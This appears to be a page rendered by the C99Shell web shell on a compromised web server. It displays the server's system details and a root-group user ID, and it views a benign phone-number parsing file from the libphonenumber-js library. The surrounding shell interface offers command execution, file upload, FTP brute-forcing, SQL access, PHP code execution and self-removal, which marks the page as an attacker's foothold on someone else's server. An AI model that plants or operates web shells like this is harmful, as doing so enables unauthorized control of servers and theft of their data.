!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wa.picotech.app/public_html/node_modules/libphonenumber-js/source/helpers/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     extractPhoneContext.js (3.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// When phone numbers are written in `RFC3966` format — `"tel:+12133734253"` —
// they can have their "calling code" part written separately in a `phone-context` parameter.
// Example: `"tel:12133734253;phone-context=+1"`.
// This function parses the full phone number from the local number and the `phone-context`
// when the `phone-context` contains a `+` sign.

import {
  VALID_DIGITS,
  // PLUS_CHARS
} from '../constants.js'

export const PLUS_SIGN = '+'

const RFC3966_VISUAL_SEPARATOR_ = '[\\-\\.\\(\\)]?'

const RFC3966_PHONE_DIGIT_ = '(' + '[' + VALID_DIGITS + ']' + '|' + RFC3966_VISUAL_SEPARATOR_ + ')'

const RFC3966_GLOBAL_NUMBER_DIGITS_ =
	'^' +
	'\\' +
	PLUS_SIGN +
	RFC3966_PHONE_DIGIT_ +
	'*' +
	'[' + VALID_DIGITS +  ']' +
	RFC3966_PHONE_DIGIT_ +
	'*' +
	'$'

/**
 * Regular expression of valid global-number-digits for the phone-context
 * parameter, following the syntax defined in RFC3966.
 */
const RFC3966_GLOBAL_NUMBER_DIGITS_PATTERN_ = new RegExp(RFC3966_GLOBAL_NUMBER_DIGITS_, 'g')

// In this port of Google's library, we don't accept alpha characters in phone numbers.
// const ALPHANUM_ = VALID_ALPHA_ + VALID_DIGITS
const ALPHANUM_ = VALID_DIGITS

const RFC3966_DOMAINLABEL_ = '[' + ALPHANUM_ + ']+((\\-)*[' + ALPHANUM_ + '])*'

const VALID_ALPHA_ = 'a-zA-Z'
const RFC3966_TOPLABEL_ = '[' + VALID_ALPHA_ + ']+((\\-)*[' + ALPHANUM_ + '])*'

const RFC3966_DOMAINNAME_ = '^(' + RFC3966_DOMAINLABEL_ + '\\.)*' + RFC3966_TOPLABEL_ + '\\.?$'

/**
 * Regular expression of valid domainname for the phone-context parameter,
 * following the syntax defined in RFC3966.
 */
const RFC3966_DOMAINNAME_PATTERN_ = new RegExp(RFC3966_DOMAINNAME_, 'g')

export const RFC3966_PREFIX_ = 'tel:'
export const RFC3966_PHONE_CONTEXT_ = ';phone-context='
export const RFC3966_ISDN_SUBADDRESS_ = ';isub='

/**
 * Extracts the value of the phone-context parameter of `numberToExtractFrom`,
 * following the syntax defined in RFC3966.
 *
 * @param {string} numberToExtractFrom
 * @return {string|null} the extracted string (possibly empty), or `null` if no phone-context parameter is found.
 */
export default function extractPhoneContext(numberToExtractFrom) {
	const indexOfPhoneContext = numberToExtractFrom.indexOf(RFC3966_PHONE_CONTEXT_)
	// If no phone-context parameter is present
	if (indexOfPhoneContext < 0) {
		return null
	}

	const phoneContextStart = indexOfPhoneContext + RFC3966_PHONE_CONTEXT_.length
	// If phone-context parameter is empty
	if (phoneContextStart >= numberToExtractFrom.length) {
		return ''
	}

	const phoneContextEnd = numberToExtractFrom.indexOf(';', phoneContextStart)
	// If phone-context is not the last parameter
	if (phoneContextEnd >= 0) {
		return numberToExtractFrom.substring(phoneContextStart, phoneContextEnd)
	} else {
		return numberToExtractFrom.substring(phoneContextStart)
	}
}

/**
 * Returns whether the value of phoneContext follows the syntax defined in RFC3966.
 *
 * @param {string|null} phoneContext
 * @return {boolean}
 */
export function isPhoneContextValid(phoneContext) {
	if (phoneContext === null) {
		return true
	}

	if (phoneContext.length === 0) {
		return false
	}

	// Does phone-context value match pattern of global-number-digits or domainname.
	return RFC3966_GLOBAL_NUMBER_DIGITS_PATTERN_.test(phoneContext) ||
		RFC3966_DOMAINNAME_PATTERN_.test(phoneContext)
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--